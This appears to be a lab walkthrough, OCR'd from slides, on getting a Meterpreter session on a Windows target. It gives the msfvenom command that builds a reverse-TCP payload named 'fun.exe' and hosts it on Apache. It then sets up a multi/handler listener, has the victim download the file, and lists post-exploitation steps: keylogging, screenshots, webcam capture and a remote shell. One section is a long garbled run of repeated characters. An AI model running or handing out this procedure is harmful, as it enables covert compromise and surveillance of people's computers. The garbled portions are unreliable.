GAINING METERPRETER SESSION

1) Finding the Attacker's IP Address

On your Linux machine, in a terminal windows, execute this command:

Ifconfig

```
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 172.16.1.203 netmask 255.255.255.0 broadcast 172.16.1.255
    inet6 fe80::20c:29ff:fe3a:4fec prefixlen 64 scopeid 0x20<link>
    ether 00:0c:29:3a:4f:ec txqueuelen 1000 (Ethernet)
    RX packets 1745 bytes 908515 (887.2 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 2068 bytes 1972355 (1.8 MiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

2) Using Msfvenom to Make a Malicious EXE:

In Kali, execute this command to learn about msfvenom, which is part of Metasploit

msfvenom -h

```
- n x
File Edit View Search Terminal Help
       li:~# msfvenom -h
Error: MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Options:
                         <payload>
                                       Payload to use. Specify a '-' or stdin to use custom payloads
    -p, --payload
                                       List the payload's standard options
        --payload-options
    -l, --list
                         [type]
                                       List a module type. Options are: payloads, encoders, nops, all
    -n, --nopsled
                         <length>
                                       Prepend a nopsled of [length] size on to the payload
    -f, --format
                                       Output format (use --help-formats for a list)
                         <format>
        --help-formats
                                       List available formats
    -e, --encoder
                                       The encoder to use
                         <encoder>
    -a, --arch
                                       The architecture to use
                         <arch>
                                       The platform of the payload
        --platform
                         <plat form>
        --help-platforms
                                       List available platforms
    -s, --space
                         <length>
                                       The maximum size of the resulting payload
                                       The maximum size of the encoded payload (defaults to the -s value)
        --encoder-space <length>
    -b, --bad-chars
                         st>
                                       The list of characters to avoid example:
    -i, --iterations
                                       The number of times to encode the payload
                         <count>
                         <path>
                                       Specify an additional win32 shellcode file to include
    -c, --add-code
     -x, --template
                                       Specify a custom executable file to use as a template
                         <path>
    -k, --keep
                                       Preserve the template behavior and inject the payload as a new thread
    -o, --out
                         <path>
                                       Save the payload
    -v, --var-name
                                       Specify a custom variable name to use for certain output formats
                         <name>
        --smallest
                                       Generate the smallest possible payload
    -h, --help
<mark>@kali:~#</mark> [
                                       Show this message
```

In Kali, execute these command to creat a malicious windows executable file named "fun.exe" and serve it from a malicious web server.

Adjust the IP address to match the IP address of your Kali machine

msfvenom –p windows/meterpreter/reverse_tcp LHOST=172.16.1.203 –f exe > /var/www/html/fun.exe

service apache2 start

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.1.203 -f exe > /var/www/html/fun.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
root@kali:~# service apache2 start
```

3) Launching Msfconsole

In Kali, execute this command to start msfconsole, the main control system for metasploit

msfconsole

In Kali, at the msf> prompt, execute this command:

<mark>help</mark>

Several pages of help scroll by. The section we, Il use is "Module commands", as shown below:

```
Module Commands
   Command
                 Description
                 Displays advanced options for one or more modules
    advanced
                 Move back from the current context
                 Edit the current module with the preferred editor
    edit
    info
                 Displays information about one or more modules
                 Searches for and loads modules from a path
    loadpath
    options
                 Displays global options or for one or more modules
                 Pops the latest module off the stack and makes it active
    popm
   previous
                 Sets the previously loaded module as the current module
    pushm
                 Pushes the active or list of modules onto the module stack
    reload all
                 Reloads all modules from all defined module paths
   search
                 Searches module names and descriptions
    show
                 Displays modules of a given type, or all modules
                 Selects a module by name
```

4) Starting a Command-and-Control (C&C) Server:

Execute these command to start a c&c listener

use multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 0.0.0.0

exploit

5) Running the Malware on the Target Machine

On the target windows machine, open a web browser and open this URL:

http://172.16.1.203/fun.exe

```
| (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (00) | (0
```

6) Using The Meterpreter Shell

On your Kali machine, at meterpreter > prompt, execute this command:

meterpreter> help

```
Stdapi: User interface Commands
    Command
                     Description
    enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle
    keyscan_dump
                     Dump the keystroke buffer
    keyscan start Start capturing keystrokes
    keyscan stop Stop capturing keystrokes
    screenshot Grab a screenshot of the interactive desktop
    setdesktop
                     Change the meterpreters current desktop
                     Control some of the user interface components
    uictl
Stdapi: Webcam Commands
    Command
                   Description
                     Record audio from the default microphone for X seconds
    record mic
    webcam chat
                     Start a video chat
    webcam_list
webcam_snap
webcam_
                     List webcams
                     Take a snapshot from the specified webcam
    webcam stream Play a video stream from the specified webcam
```

7) Post-Exploitation

✓ screenshot Gives you an image of the target's desktop

✓ keyscan_start Begins capturing keys typed in the target. On the
 Windows target, open Notepad and type in some
 text

✓ keyscan_dump
 Shows the keystrokes captured so far

✓ webcam_list
 Shows the available webcams (if any)

✓ webcam_snap Takes a photo with the webcam

✓ shell Gives you a Windows Command Prompt on the target

✓ exit
 Leaves the Windows Command Prompt

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